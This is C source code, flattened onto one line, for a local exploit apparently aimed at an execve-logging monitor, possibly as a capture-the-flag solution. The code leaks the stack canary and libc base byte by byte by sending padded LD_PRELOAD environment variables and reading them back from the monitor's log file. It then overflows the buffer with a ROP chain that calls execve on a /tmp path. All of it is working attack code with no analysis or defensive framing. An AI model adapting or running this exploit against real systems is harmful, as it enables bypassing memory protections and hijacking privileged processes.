#include #include #include #include #include char *spl_argv[] = {"nonexistent", NULL}; #define BUFFER_SIZE 4096 #define TARGET "LD_PRELOAD=" #define TARGET_LEN 11 uint8_t search_byte() { FILE *fp = fopen("/var/log/execve_monitor.log", "rb"); if (!fp) { perror("Failed to open file"); return 1; } char buffer[BUFFER_SIZE + TARGET_LEN]; // for overlap handling size_t bytes_read; long offset = 0; long last_found = -1; // Initialize buffer prefix for overlap (set to 0s) memset(buffer, 0, TARGET_LEN); while ((bytes_read = fread(buffer + TARGET_LEN, 1, BUFFER_SIZE, fp)) > 0) { for (size_t i = 0; i < bytes_read; i++) { if (memcmp(buffer + i, TARGET, TARGET_LEN) == 0) { last_found = offset + i - TARGET_LEN; } } // Move last TARGET_LEN bytes to the beginning for overlap in next chunk memcpy(buffer, buffer + BUFFER_SIZE, TARGET_LEN); offset += bytes_read; } long read_offset = last_found +TARGET_LEN + 1; if (fseek(fp, read_offset, SEEK_SET) != 0) { perror("fseek failed"); fclose(fp); return 1; } int c = fgetc(fp); //printf("Found byte: %02x\n", c); fclose(fp); return c; } uint8_t leak_offset(size_t offset) { char *spl_envp[3]; offset = offset - 13; char env0[offset]; for(int i = 0; i < offset; ++i) { env0[i]='A'; } env0[offset] = '\0'; spl_envp[0] = env0; spl_envp[1] = "MEOW"; spl_envp[2] = NULL; execve(spl_argv[0], NULL, spl_envp); spl_envp[0] = "LD_PRELOAD="; spl_envp[1] = NULL; execve(spl_argv[0], NULL, spl_envp); sleep(0.2); return search_byte(); } void pwn(uint64_t canary, uint64_t libc) { char *spl_envp[128]; char *two_zeroes = "\0"; // Canary preparations uint8_t canary_bytes[9]; uint8_t canary_single_byte[2] = {0}; for (int i = 7; i >= 0; i--) { canary_bytes[i] = (canary >> (8 * i)) & 0xFF; } canary_bytes[8] = '\0'; canary_single_byte[0] = canary_bytes[0]; // END: Canary preparations // Fillers int filler0_len = 8200 - 12 - 12; char filler0[filler0_len]; int filler1_len = 24 - 8 - 1 - 1; char filler1[filler1_len]; for (int i = 0; i < filler0_len; ++i) { filler0[i] = 'A'; } filler0[filler0_len-1] = '\0'; for (int i = 0; i < filler1_len; ++i) { filler1[i] = 'A'; } filler1[filler1_len-1] = '\0'; // END: Fillers // ROP Gadgets // pop rdi; ret uint64_t pop_rdi = libc + 0x1429c; uint8_t pop_rdi_bytes[7]; pop_rdi_bytes[6] = '\0'; // tmp path: /tmp/buildroot-2025.02/monitor uint64_t tmp_path = 0x40334c; uint8_t tmp_path_bytes[4]; tmp_path_bytes[3] = '\0'; // execve //uint64_t libc_exit = libc + 0x14090; //exit uint64_t libc_exit = libc + 0x4CD20; //execve uint8_t libc_exit_bytes[7]; libc_exit_bytes[6] = '\0'; // puts uint64_t libc_puts = libc + 0x5E340; uint8_t libc_puts_bytes[7]; libc_puts_bytes[6] = '\0'; for (int i = 5; i >= 0; i--) { libc_exit_bytes[i] = (libc_exit >> (8 * i)) & 0xFF; } for (int i = 5; i >= 0; i--) { libc_puts_bytes[i] = (libc_puts >> (8 * i)) & 0xFF; } for (int i = 5; i >= 0; i--) { pop_rdi_bytes[i] = (pop_rdi >> (8 * i)) & 0xFF; } for (int i = 2; i >= 0; i--) { tmp_path_bytes[i] = (tmp_path >> (8 * i)) & 0xFF; } // END: ROP Gadgets // Exploitation spl_envp[0] = "LD_PRELOAD="; spl_envp[1] = filler0; spl_envp[2] = canary_single_byte; spl_envp[3] = &canary_bytes[2]; spl_envp[4] = filler1; spl_envp[5] = two_zeroes; spl_envp[6] = pop_rdi_bytes; // ROP start // pop rdi spl_envp[7] = two_zeroes; spl_envp[8] = pop_rdi_bytes; // tmp path spl_envp[9] = two_zeroes; spl_envp[10] = tmp_path_bytes; spl_envp[11] = two_zeroes; spl_envp[12] = two_zeroes; spl_envp[13] = two_zeroes; // puts //spl_envp[14] = two_zeroes; //spl_envp[15] = libc_puts_bytes; //spl_envp[16] = NULL; // execve spl_envp[14] = two_zeroes; spl_envp[15] = libc_exit_bytes; spl_envp[16] = NULL; execve(spl_argv[0], NULL, spl_envp); } uint64_t leak_libc() { uint8_t libc_bytes[6] = {0}; uint64_t libc_addr = 0; uint8_t byte; for (int i = 0; i < 6; i++) { byte = leak_offset(8200 + 0xa0 + i); libc_bytes[i] = byte == 0x0A ? 0x00 : byte; } for (int i = 0; i < 6; i++) { libc_addr |= ((uint64_t)libc_bytes[i] << (8 * i)); } printf("libc+__libc_start_main_ret: 0x%08llx\n", libc_addr); libc_addr -= 0x1E41B; printf("libc: 0x%08llx\n", libc_addr); return libc_addr; } uint64_t leak_canary() { uint8_t canary_bytes[8] = {0}; uint64_t canary = 0; uint8_t byte; for (int i = 0; i < 8; i++) { byte = leak_offset(8200 + i); canary_bytes[i] = byte == 0x0A ? 0x00 : byte; } for (int i = 0; i < 8; i++) { canary |= ((uint64_t)canary_bytes[i] << (8 * i)); } printf("canary: 0x%08llx\n", canary); return canary; } int main(int argc) { uint64_t libc = leak_libc(); uint64_t canary = leak_canary(); pwn(canary, libc); }